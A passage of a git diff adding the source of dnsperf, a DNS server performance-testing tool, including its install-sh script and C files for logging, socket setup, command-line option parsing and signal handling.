z=5kx!C@gS&%yPqmpXae~Lf}2CsKuT9RT1ZJJ6i`*r*n)K-$u8Nx_Wx{eO0au1mitu z^nFffaOGeiz!@q2u4o2bX%B2qq%s_zt5zZp;V@y)hPJpaNFLtz+@VU@{cP{}XnN;c z(ZEz_44?a8LTR4f*AH)(%Cne^znJSqL?VurYwy3`T(X*hn{7VX_u_qCKNpb%`9@qh zr~GYNe-6Krxi9re9*v6IG=1vC%c=4_@~`40`PElM(>k9gnlSTD5;J%~ao@hXk~co- z(cEJybjuDeq=vkkbdR>t{l+vAgVy(2@_b~e8SR$yiOqY;d;>w3IeT1(s+)9!mOC}H zjZW{(Osa?P$(vpxx*-Y&Z!u5Wq(29!5RsE z+>Y0)2-4nclzZ6MThBJ;(jPXyO^h_GLod8|4>_+GdCS3Ce^%`Wq}giOiau#A-mtK! zh|s-aFby{_?xE`|J9sPsT&Bp`z zZAp}m@Bdg4eVCvSX>^ZFs$>UL0#lTP8joo7Qc6=NwEq)P&7{C23=(!_WfYo0a zx>qOxrFbO)UArF)PceB4Z!s3VguoAhyYMm7w#$?hSIEhTv%*&Kp;2?J{D`xvzzsS7 z+Z{BaIfCtGXt79)R1N{a>l4{UBtCt@W){vK8Kx8Yj+${K308hW@+8rBJ6NxzGUKGj zEns=Xgm11f@#E7rPE1TB*85!QpQr@+`d;+!!RG2OJbW(>57!wraq3iKDqgRt#8`Pf z$q5O0V|&3dS5+|8_-S4;!U9-wq1pd5xu$?SYpDit=a^*VecK!*k+jm+HR`7`d7)JG zVGA-FA<_jR4RpN8C*u&>kB12WHoM16lFurMofz&~evodxVT0Uf%Y4hHyuHd>b|QQ> zrjy<&^kkkAq^u%%bSMW|x??q7hXqczf6BsIb4we}COb)WJGPd{o{jU;TN{9uJ)3=0 ztC@=lorg60E14?oJ-r$N1DSMBne;uXciu_CsO)aq_ofp*tc-7)mbc&fUTi0aodXD4 z%cx9d`ftB2nJpnHw>jpYJyO$noVo0MvU{u^9>_{?loCv%7UA;L_^5R9PjX1=F+@8Xh6b;2XWNVMNT{)BbExjCT4&BAtJw9oO&L{cS)8f&KQ_ z;^M(*1N}Q~pb(fASQQMxydDp#T2$Qsg}nzD`H1iaEAEH!G3*ZkhejJ4SeSK;+O5mB zf7O>ioaLy9u(v{617O@>uAfID=_)DyB3TK6HiMg?&3;c!5fXKGG_$ZppaJFxE2O}GXlWH3FU+WEx)fG!^PXft=9z02)inEb{^3gKemjC4dJ9qa+$`I?zK zxT1xbn7#}8`T12dl;cl9_AZ=1wB)pKK!M!N96=CHFz6>|OhX|IDgu(u2s5;Uv!;WC zorsLH8496fW{YqJ@Nu0)yTBh!l^ozmOAjf`nv)0=41of{Fd!JB2?h&rLj<_^ zfM7lW@UKk%K=~g$euzi>fd>=_<=2G51h{zxATa$u^x+qx|7iZ3iTr`V-*@6ybNWI1 zD<2`ycR>FD@Q=~^j?I6R|6jnvEq>ze=<00uV|d{fAcP$Pg|J7vV6cb$8GE>efTe>o z$_y=H=ICgLv@rWVydX!or4Z=%sy}FpDMTaDc8K3P_{+fm=%%1m_1_Np-TnmZ z%%sL97g4z(EZ6|F%=lt zV1I@UQz)S7>;QMQKsbwtTR1zIo1p-UV%DZ-MxYuLYRfjEfh_2ZX`Q zxPe^UX68V13v(_Ygp1#j4+ew6;9RiZ`2L~oKjQSu$YUOEm?taf=cDz{HuQ^i{`arH zEBxQ*{gdPWg#3i!-`xBUu788lPn!S1^%IJJbMrsA{tZe$Y5oV-PbmJ)&Hv!~Hz@t2 z`6sxDehraWbs(TjQ8K8OQ*K#mqE+`megOg+9Vo_ux8Oi`g zl8{6ER8>7-gm^p}jqQXI&m`;!1E_}>H0J+3ZaKctxdyR+Q?3{a7t@u*j+W2AJ#P^Y~Dp65O-pJWvA-t^qKz%qu z)$M5i^6Jf=E~TZ_Xfz90gyl4il?NhztBD4FWk zZCKs0^`KYk&3T=)z)XW~6MddYMvThwa-fmFQuz;mMfoKWLDkF|5ZiZ2ZRo0Z$TqX9VzqrJM^A9$o6c|1JEbWOl5o+DBGaE}BGuPNsK3Y zhbxjny`r|b3D%1}eB}UZm_kcCT4}_Jt$H^y`EdVB-|92;WL_lbX~AG;qx52u#u2ft zWzc@dw#3n=^G@V-$AtK2@@SZb@Lqy}rGaS$Zpc}u!lAM#k@Opx_-901qOjD*=Nkpb zCc`bZvIA!Ww68ta{r6O(H1K!?5Czy)@2|K~-#8C$xHvNEcsE)R`{qs>W+`anuGINo dmqRb;Lb{XgA2rO*HX literal 0 HcmV?d00001 diff --git a/dns-projects/dnsperf-src-2.0.0.0-1/install-sh b/dns-projects/dnsperf-src-2.0.0.0-1/install-sh new file mode 100755 index 0000000..058b26c --- /dev/null +++ b/dns-projects/dnsperf-src-2.0.0.0-1/install-sh @@ -0,0 +1,250 @@ +#! /bin/sh +# +# install - install a program, script, or datafile +# This comes from X11R5 (mit/util/scripts/install.sh). +# +# Copyright 1991 by the Massachusetts Institute of Technology +# +# Permission to use, copy, modify, distribute, and sell this software and its +# documentation for any purpose is hereby granted without fee, provided that +# the above copyright notice appear in all copies and that both that +# copyright notice and this permission notice appear in supporting +# documentation, and that the name of M.I.T. not be used in advertising or +# publicity pertaining to distribution of the software without specific, +# written prior permission. M.I.T. makes no representations about the +# suitability of this software for any purpose. It is provided "as is" +# without express or implied warranty. +# +# Calling this script install-sh is preferred over install.sh, to prevent +# `make' implicit rules from creating a file called install from it +# when there is no Makefile. +# +# This script is compatible with the BSD install script, but was written +# from scratch. It can only install one file at a time, a restriction +# shared with many OS's install programs. + + +# set DOITPROG to echo to test this script + +# Don't use :- since 4.3BSD and earlier shells don't like it. +doit="${DOITPROG-}" + + +# put in absolute paths if you don't have them in your path; or use env. vars. + +mvprog="${MVPROG-mv}" +cpprog="${CPPROG-cp}" +chmodprog="${CHMODPROG-chmod}" +chownprog="${CHOWNPROG-chown}" +chgrpprog="${CHGRPPROG-chgrp}" +stripprog="${STRIPPROG-strip}" +rmprog="${RMPROG-rm}" +mkdirprog="${MKDIRPROG-mkdir}" + +transformbasename="" +transform_arg="" +instcmd="$mvprog" +chmodcmd="$chmodprog 0755" +chowncmd="" +chgrpcmd="" +stripcmd="" +rmcmd="$rmprog -f" +mvcmd="$mvprog" +src="" +dst="" +dir_arg="" + +while [ x"$1" != x ]; do + case $1 in + -c) instcmd="$cpprog" + shift + continue;; + + -d) dir_arg=true + shift + continue;; + + -m) chmodcmd="$chmodprog $2" + shift + shift + continue;; + + -o) chowncmd="$chownprog $2" + shift + shift + continue;; + + -g) chgrpcmd="$chgrpprog $2" + shift + shift + continue;; + + -s) stripcmd="$stripprog" + shift + continue;; + + -t=*) transformarg=`echo $1 | sed 's/-t=//'` + shift + continue;; + + -b=*) transformbasename=`echo $1 | sed 's/-b=//'` + shift + continue;; + + *) if [ x"$src" = x ] + then + src=$1 + else + # this colon is to work around a 386BSD /bin/sh bug + : + dst=$1 + fi + shift + continue;; + esac +done + +if [ x"$src" = x ] +then + echo "install: no input file specified" + exit 1 +else + true +fi + +if [ x"$dir_arg" != x ]; then + dst=$src + src="" + + if [ -d $dst ]; then + instcmd=: + else + instcmd=mkdir + fi +else + +# Waiting for this to be detected by the "$instcmd $src $dsttmp" command +# might cause directories to be created, which would be especially bad +# if $src (and thus $dsttmp) contains '*'. + + if [ -f $src -o -d $src ] + then + true + else + echo "install: $src does not exist" + exit 1 + fi + + if [ x"$dst" = x ] + then + echo "install: no destination specified" + exit 1 + else + true + fi + +# If destination is a directory, append the input filename; if your system +# does not like double slashes in filenames, you may need to add some logic + + if [ -d $dst ] + then + dst="$dst"/`basename $src` + else + true + fi +fi + +## this sed command emulates the dirname command +dstdir=`echo $dst | sed -e 's,[^/]*$,,;s,/$,,;s,^$,.,'` + +# Make sure that the destination directory exists. +# this part is taken from Noah Friedman's mkinstalldirs script + +# Skip lots of stat calls in the usual case. +if [ ! -d "$dstdir" ]; then +defaultIFS=' +' +IFS="${IFS-${defaultIFS}}" + +oIFS="${IFS}" +# Some sh's can't handle IFS=/ for some reason. +IFS='%' +set - `echo ${dstdir} | sed -e 's@/@%@g' -e 's@^%@/@'` +IFS="${oIFS}" + +pathcomp='' + +while [ $# -ne 0 ] ; do + pathcomp="${pathcomp}${1}" + shift + + if [ ! -d "${pathcomp}" ] ; + then + $mkdirprog "${pathcomp}" + else + true + fi + + pathcomp="${pathcomp}/" +done +fi + +if [ x"$dir_arg" != x ] +then + $doit $instcmd $dst && + + if [ x"$chowncmd" != x ]; then $doit $chowncmd $dst; else true ; fi && + if [ x"$chgrpcmd" != x ]; then $doit $chgrpcmd $dst; else true ; fi && + if [ x"$stripcmd" != x ]; then $doit $stripcmd $dst; else true ; fi && + if [ x"$chmodcmd" != x ]; then $doit $chmodcmd $dst; else true ; fi +else + +# If we're going to rename the final executable, determine the name now. + + if [ x"$transformarg" = x ] + then + dstfile=`basename $dst` + else + dstfile=`basename $dst $transformbasename | + sed $transformarg`$transformbasename + fi + +# don't allow the sed command to completely eliminate the filename + + if [ x"$dstfile" = x ] + then + dstfile=`basename $dst` + else + true + fi + +# Make a temp file name in the proper directory. + + dsttmp=$dstdir/#inst.$$# + +# Move or copy the file name to the temp name + + $doit $instcmd $src $dsttmp && + + trap "rm -f ${dsttmp}" 0 && + +# and set any options; do chmod last to preserve setuid bits + +# If any of these fail, we abort the whole thing. If we want to +# ignore errors from any of these, just make sure not to ignore +# errors from the above "$doit $instcmd $src $dsttmp" command. + + if [ x"$chowncmd" != x ]; then $doit $chowncmd $dsttmp; else true;fi && + if [ x"$chgrpcmd" != x ]; then $doit $chgrpcmd $dsttmp; else true;fi && + if [ x"$stripcmd" != x ]; then $doit $stripcmd $dsttmp; else true;fi && + if [ x"$chmodcmd" != x ]; then $doit $chmodcmd $dsttmp; else true;fi && + +# Now rename the file to the real destination. + + $doit $rmcmd -f $dstdir/$dstfile && + $doit $mvcmd $dsttmp $dstdir/$dstfile + +fi && + + +exit 0 diff --git a/dns-projects/dnsperf-src-2.0.0.0-1/log.c b/dns-projects/dnsperf-src-2.0.0.0-1/log.c new file mode 100644 index 0000000..763f6ca --- /dev/null +++ b/dns-projects/dnsperf-src-2.0.0.0-1/log.c @@ -0,0 +1,63 @@ +/* + * Copyright (C) 2011 - 2012 Nominum, Inc. + * + * Permission to use, copy, modify, and distribute this software and its + * documentation for any purpose with or without fee is hereby granted, + * provided that the above copyright notice and this permission notice + * appear in all copies. + * + * THE SOFTWARE IS PROVIDED "AS IS" AND NOMINUM DISCLAIMS ALL WARRANTIES + * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF + * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL NOMINUM BE LIABLE FOR + * ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES + * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN + * ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT + * OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. + */ + +#include +#include +#include +#include + +#include "log.h" +#include "util.h" + +pthread_mutex_t log_lock = PTHREAD_MUTEX_INITIALIZER; + +static void +vlog(FILE *stream, const char *prefix, const char *fmt, va_list args) +{ + LOCK(&log_lock); + fflush(stdout); + if (prefix != NULL) + fprintf(stream, "%s: ", prefix); + vfprintf(stream, fmt, args); + fprintf(stream, "\n"); + UNLOCK(&log_lock); +} + +void +perf_log_printf(const char *fmt, ...) +{ + va_list args; + va_start(args, fmt); + vlog(stdout, NULL, fmt, args); +} + +void +perf_log_fatal(const char *fmt, ...) +{ + va_list args; + va_start(args, fmt); + vlog(stderr, "Error", fmt, args); + exit(1); +} + +void +perf_log_warning(const char *fmt, ...) +{ + va_list args; + va_start(args, fmt); + vlog(stderr, "Warning", fmt, args); +} diff --git a/dns-projects/dnsperf-src-2.0.0.0-1/log.h b/dns-projects/dnsperf-src-2.0.0.0-1/log.h new file mode 100644 index 0000000..d279a57 --- /dev/null +++ b/dns-projects/dnsperf-src-2.0.0.0-1/log.h @@ -0,0 +1,32 @@ +/* + * Copyright (C) 2011 - 2012 Nominum, Inc. + * + * Permission to use, copy, modify, and distribute this software and its + * documentation for any purpose with or without fee is hereby granted, + * provided that the above copyright notice and this permission notice + * appear in all copies. + * + * THE SOFTWARE IS PROVIDED "AS IS" AND NOMINUM DISCLAIMS ALL WARRANTIES + * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF + * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL NOMINUM BE LIABLE FOR + * ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES + * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN + * ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT + * OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. + */ + +#include + +#ifndef PERF_LOG_H +#define PERF_LOG_H 1 + +void +perf_log_printf(const char *fmt, ...); + +void +perf_log_fatal(const char *fmt, ...); + +void +perf_log_warning(const char *fmt, ...); + +#endif diff --git a/dns-projects/dnsperf-src-2.0.0.0-1/net.c b/dns-projects/dnsperf-src-2.0.0.0-1/net.c new file mode 100644 index 0000000..4d90035 --- /dev/null +++ b/dns-projects/dnsperf-src-2.0.0.0-1/net.c @@ -0,0 +1,185 @@ +/* + * Copyright (C) 2000, 2001 Nominum, Inc. + * + * Permission to use, copy, modify, and distribute this software for any + * purpose with or without fee is hereby granted, provided that the above + * copyright notice and this permission notice appear in all copies. + * + * THE SOFTWARE IS PROVIDED "AS IS" AND INTERNET SOFTWARE CONSORTIUM + * DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL + * INTERNET SOFTWARE CONSORTIUM BE LIABLE FOR ANY SPECIAL, DIRECT, + * INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING + * FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, + * NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION + * WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. + */ + +/* + * Copyright (C) 2004 - 2012 Nominum, Inc. + * + * Permission to use, copy, modify, and distribute this software and its + * documentation for any purpose with or without fee is hereby granted, + * provided that the above copyright notice and this permission notice + * appear in all copies. + * + * THE SOFTWARE IS PROVIDED "AS IS" AND NOMINUM DISCLAIMS ALL WARRANTIES + * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF + * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL NOMINUM BE LIABLE FOR + * ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES + * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN + * ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT + * OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. + */ + +#include +#include +#include +#include +#include + +#include +#include + +#include + +#include "log.h" +#include "net.h" +#include "opt.h" + +int +perf_net_parsefamily(const char *family) +{ + if (family == NULL || strcmp(family, "any") == 0) + return AF_UNSPEC; + else if (strcmp(family, "inet") == 0) + return AF_INET; +#ifdef AF_INET6 + else if (strcmp(family, "inet6") == 0) + return AF_INET6; +#endif + else { + fprintf(stderr, "invalid family %s\n", family); + perf_opt_usage(); + exit(1); + } +} + +void +perf_net_parseserver(int family, const char *name, unsigned int port, + isc_sockaddr_t *addr) +{ + isc_sockaddr_t addrs[8]; + int count, i; + isc_result_t result; + + if (port == 0) { + fprintf(stderr, "server port cannot be 0\n"); + perf_opt_usage(); + exit(1); + } + + count = 0; + result = bind9_getaddresses(name, port, addrs, 8, &count); + if (result == ISC_R_SUCCESS) { + for (i = 0; i < count; i++) { + if (isc_sockaddr_pf(&addrs[i]) == family || + family == AF_UNSPEC) + { + *addr = addrs[i]; + return; + } + } + } + + fprintf(stderr, "invalid server address %s\n", name); + perf_opt_usage(); + exit(1); +} + +void +perf_net_parselocal(int family, const char *name, unsigned int port, + isc_sockaddr_t *addr) +{ + struct in_addr in4a; + struct in6_addr in6a; + + if (name == NULL) { + isc_sockaddr_anyofpf(addr, family); + isc_sockaddr_setport(addr, port); + } else if (inet_pton(AF_INET, name, &in4a) == 1) { + isc_sockaddr_fromin(addr, &in4a, port); + } else if (inet_pton(AF_INET6, name, &in6a) == 1) { + isc_sockaddr_fromin6(addr, &in6a, port); + } else { + fprintf(stderr, "invalid local address %s\n", name); + perf_opt_usage(); + exit(1); + } +} + +int +perf_net_opensocket(const isc_sockaddr_t *server, const isc_sockaddr_t *local, + unsigned int offset, int bufsize) +{ + int family; + int sock; + isc_sockaddr_t tmp; + int port; + int ret; + int flags; + + family = isc_sockaddr_pf(server); + + if (isc_sockaddr_pf(local) != family) + perf_log_fatal("server and local addresses have " + "different families"); + + sock = socket(family, SOCK_DGRAM, 0); + if (sock == -1) + perf_log_fatal("Error: socket: %s\n", strerror(errno)); + +#if defined(AF_INET6) && defined(IPV6_V6ONLY) + if (family == AF_INET6) { + int on = 1; + + if (setsockopt(sock, IPPROTO_IPV6, IPV6_V6ONLY, + &on, sizeof(on)) == -1) { + perf_log_warning("setsockopt(IPV6_V6ONLY) failed"); + } + } +#endif + + tmp = *local; + port = isc_sockaddr_getport(&tmp); + if (port != 0) + port += offset; + if (port >= 0xFFFF) + perf_log_fatal("port %d out of range", port); + + if (bind(sock, &tmp.type.sa, tmp.length) == -1) + perf_log_fatal("bind: %s\n", strerror(errno)); + + if (bufsize > 0) { + bufsize *= 1024; + + ret = setsockopt(sock, SOL_SOCKET, SO_RCVBUF, + &bufsize, sizeof(bufsize)); + if (ret < 0) + perf_log_warning("setsockbuf(SO_RCVBUF) failed"); + + ret = setsockopt(sock, SOL_SOCKET, SO_SNDBUF, + &bufsize, sizeof(bufsize)); + if (ret < 0) + perf_log_warning("setsockbuf(SO_SNDBUF) failed"); + } + + flags = fcntl(sock, F_GETFL, 0); + if (flags < 0) + perf_log_fatal("fcntl(F_GETFL)"); + ret = fcntl(sock, F_SETFL, flags | O_NONBLOCK); + if (ret < 0) + perf_log_fatal("fcntl(F_SETFL)"); + + return sock; +} diff --git a/dns-projects/dnsperf-src-2.0.0.0-1/net.h b/dns-projects/dnsperf-src-2.0.0.0-1/net.h new file mode 100644 index 0000000..c7f76e6 --- /dev/null +++ b/dns-projects/dnsperf-src-2.0.0.0-1/net.h @@ -0,0 +1,53 @@ +/* + * Copyright (C) 2000, 2001 Nominum, Inc. + * + * Permission to use, copy, modify, and distribute this software for any + * purpose with or without fee is hereby granted, provided that the above + * copyright notice and this permission notice appear in all copies. + * + * THE SOFTWARE IS PROVIDED "AS IS" AND INTERNET SOFTWARE CONSORTIUM + * DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL + * INTERNET SOFTWARE CONSORTIUM BE LIABLE FOR ANY SPECIAL, DIRECT, + * INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING + * FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, + * NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION + * WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. + */ + +/* + * Copyright (C) 2004 - 2012 Nominum, Inc. + * + * Permission to use, copy, modify, and distribute this software and its + * documentation for any purpose with or without fee is hereby granted, + * provided that the above copyright notice and this permission notice + * appear in all copies. + * + * THE SOFTWARE IS PROVIDED "AS IS" AND NOMINUM DISCLAIMS ALL WARRANTIES + * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF + * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL NOMINUM BE LIABLE FOR + * ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES + * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN + * ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT + * OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. + */ + +#ifndef PERF_NET_H +#define PERF_NET_H 1 + +int +perf_net_parsefamily(const char *family); + +void +perf_net_parseserver(int family, const char *name, unsigned int port, + isc_sockaddr_t *addr); + +void +perf_net_parselocal(int family, const char *name, unsigned int port, + isc_sockaddr_t *addr); + +int +perf_net_opensocket(const isc_sockaddr_t *server, const isc_sockaddr_t *local, + unsigned int offset, int bufsize); + +#endif diff --git a/dns-projects/dnsperf-src-2.0.0.0-1/opt.c b/dns-projects/dnsperf-src-2.0.0.0-1/opt.c new file mode 100644 index 0000000..b05d5da --- /dev/null +++ b/dns-projects/dnsperf-src-2.0.0.0-1/opt.c @@ -0,0 +1,242 @@ +/* + * Copyright (C) 2012 Nominum, Inc. + * + * Permission to use, copy, modify, and distribute this software and its + * documentation for any purpose with or without fee is hereby granted, + * provided that the above copyright notice and this permission notice + * appear in all copies. + * + * THE SOFTWARE IS PROVIDED "AS IS" AND NOMINUM DISCLAIMS ALL WARRANTIES + * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF + * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL NOMINUM BE LIABLE FOR + * ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES + * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN + * ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT + * OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. + */ + +#include +#include +#include +#include + +#include + +#include +#include +#include + +#include "log.h" +#include "opt.h" +#include "util.h" + +#define MAX_OPTS 64 +#define LINE_LENGTH 80 + +typedef struct { + char c; + perf_opttype_t type; + const char *desc; + const char *help; + const char *defval; + char defvalbuf[32]; + union { + void *valp; + char **stringp; + isc_boolean_t *boolp; + unsigned int *uintp; + isc_uint64_t *uint64p; + double *doublep; + in_port_t *portp; + } u; +} opt_t; + +static opt_t opts[MAX_OPTS]; +static unsigned int nopts; +static char optstr[MAX_OPTS * 2 + 2]; +static const char *progname; + +void +perf_opt_add(char c, perf_opttype_t type, const char *desc, const char *help, + const char *defval, void *valp) +{ + opt_t *opt; + char s[3]; + + if (nopts == MAX_OPTS) + perf_log_fatal("too many defined options"); + opt = &opts[nopts++]; + opt->c = c; + opt->type = type; + opt->desc = desc; + opt->help = help; + if (defval != NULL) { + strncpy(opt->defvalbuf, defval, sizeof(opt->defvalbuf)); + opt->defval = opt->defvalbuf; + } else { + opt->defval = NULL; + } + opt->u.valp = valp; + + sprintf(s, "%c%s", c, (type == perf_opt_boolean ? "" : ":")); + strcat(optstr, s); +} + +void +perf_opt_usage(void) +{ + unsigned int prefix_len, position, arg_len, i, j; + + prefix_len = fprintf(stderr, "Usage: %s", progname); + position = prefix_len; + for (i = 0; i < nopts; i++) { + arg_len = 6; + if (opts[i].desc != NULL) + arg_len += strlen(opts[i].desc) + 1; + if (LINE_LENGTH - position - 1 < arg_len) { + fprintf(stderr, "\n"); + for (j = 0; j < prefix_len; j++) + fprintf(stderr, " "); + position = prefix_len; + } + fprintf(stderr, " [-%c", opts[i].c); + if (opts[i].desc != NULL) + fprintf(stderr, " %s", opts[i].desc); + fprintf(stderr, "]"); + position += arg_len; + } + fprintf(stderr, "\n"); + + for (i = 0; i < nopts; i++) { + fprintf(stderr, " -%c %s", opts[i].c, opts[i].help); + if (opts[i].defval) + fprintf(stderr, " (default: %s)", opts[i].defval); + fprintf(stderr, "\n"); + } +} + +static isc_uint32_t +parse_uint(const char *desc, const char *str, + unsigned int min, unsigned int max) +{ + isc_uint32_t val; + isc_result_t result; + + val = 0; + result = isc_parse_uint32(&val, str, 10); + if (result != ISC_R_SUCCESS || val < min || val > max) { + fprintf(stderr, "invalid %s: %s\n", desc, str); + perf_opt_usage(); + exit(1); + } + return val; +} + +static isc_uint64_t +parse_timeval(const char *desc, const char *str) +{ + const char *s; + char c; + isc_boolean_t seen_dot = ISC_FALSE; + + s = str; + while (*s != 0) { + c = *s++; + if (c == '.') { + if (seen_dot) + goto fail; + seen_dot = ISC_TRUE; + } else if (c < '0' || c > '9') { + goto fail; + } + } + + return MILLION * atof(str); + fail: + fprintf(stderr, "invalid %s: %s\n", desc, str); + perf_opt_usage(); + exit(1); +} + +static double +parse_double(const char *desc, const char *str) { + char c; + int index = 0; + isc_boolean_t seen_dot = ISC_FALSE; + + while (str[index] != 0) { + c = str[index]; + if (c == '.') { + if (seen_dot) + goto fail; + seen_dot = ISC_TRUE; + } else if (c < '0' || c > '9') { + goto fail; + } + index++; + } + + return atof(str); + fail: + fprintf(stderr, "invalid %s: %s\n", desc, str); + perf_opt_usage(); + exit(1); +} + +void +perf_opt_parse(int argc, char **argv) +{ + int c; + opt_t *opt; + isc_result_t result; + unsigned int i; + + progname = isc_file_basename(argv[0]); + + perf_opt_add('h', perf_opt_boolean, NULL, "print this help", + NULL, NULL); + + while ((c = getopt(argc, argv, optstr)) != -1) { + for (i = 0; i < nopts; i++) { + if (opts[i].c == c) + break; + } + if (i == nopts) { + perf_opt_usage(); + exit(1); + } + if (c == 'h') { + perf_opt_usage(); + exit(0); + } + opt = &opts[i]; + result = ISC_R_SUCCESS; + switch (opt->type) { + case perf_opt_string: + *opt->u.stringp = optarg; + break; + case perf_opt_boolean: + *opt->u.boolp = ISC_TRUE; + break; + case perf_opt_uint: + *opt->u.uintp = parse_uint(opt->desc, optarg, + 1, 0xFFFFFFFF); + break; + case perf_opt_timeval: + *opt->u.uint64p = parse_timeval(opt->desc, optarg); + break; + case perf_opt_double: + *opt->u.doublep = parse_double(opt->desc, optarg); + break; + case perf_opt_port: + *opt->u.portp = parse_uint(opt->desc, optarg, + 0, 0xFFFF); + break; + } + } + if (optind != argc) { + fprintf(stderr, "unexpected argument %s\n", argv[optind]); + perf_opt_usage(); + exit(1); + } +} diff --git a/dns-projects/dnsperf-src-2.0.0.0-1/opt.h b/dns-projects/dnsperf-src-2.0.0.0-1/opt.h new file mode 100644 index 0000000..ee82965 --- /dev/null +++ b/dns-projects/dnsperf-src-2.0.0.0-1/opt.h @@ -0,0 +1,40 @@ +/* + * Copyright (C) 2012 Nominum, Inc. + * + * Permission to use, copy, modify, and distribute this software and its + * documentation for any purpose with or without fee is hereby granted, + * provided that the above copyright notice and this permission notice + * appear in all copies. + * + * THE SOFTWARE IS PROVIDED "AS IS" AND NOMINUM DISCLAIMS ALL WARRANTIES + * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF + * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL NOMINUM BE LIABLE FOR + * ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES + * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN + * ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT + * OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. + */ + +#ifndef PERF_OPT_H +#define PERF_OPT_H 1 + +typedef enum { + perf_opt_string, + perf_opt_boolean, + perf_opt_uint, + perf_opt_timeval, + perf_opt_double, + perf_opt_port, +} perf_opttype_t; + +void +perf_opt_add(char c, perf_opttype_t type, const char *desc, const char *help, + const char *defval, void *valp); + +void +perf_opt_usage(void); + +void +perf_opt_parse(int argc, char **argv); + +#endif diff --git a/dns-projects/dnsperf-src-2.0.0.0-1/os.c b/dns-projects/dnsperf-src-2.0.0.0-1/os.c new file mode 100644 index 0000000..c40d81c --- /dev/null +++ b/dns-projects/dnsperf-src-2.0.0.0-1/os.c @@ -0,0 +1,90 @@ +/* + * Copyright (C) 2011 - 2012 Nominum, Inc. + * + * Permission to use, copy, modify, and distribute this software and its + * documentation for any purpose with or without fee is hereby granted, + * provided that the above copyright notice and this permission notice + * appear in all copies. + * + * THE SOFTWARE IS PROVIDED "AS IS" AND NOMINUM DISCLAIMS ALL WARRANTIES + * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF + * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL NOMINUM BE LIABLE FOR + * ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES + * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN + * ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT + * OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. + */ + +#include +#include +#include +#include + +#include + +#include +#include + +#include "log.h" +#include "os.h" +#include "util.h" + +void +perf_os_blocksignal(int sig, isc_boolean_t block) +{ + sigset_t sset; + int op; + + op = block ? SIG_BLOCK : SIG_UNBLOCK; + + if (sigemptyset(&sset) < 0 || + sigaddset(&sset, sig) < 0 || + pthread_sigmask(op, &sset, NULL) < 0) + 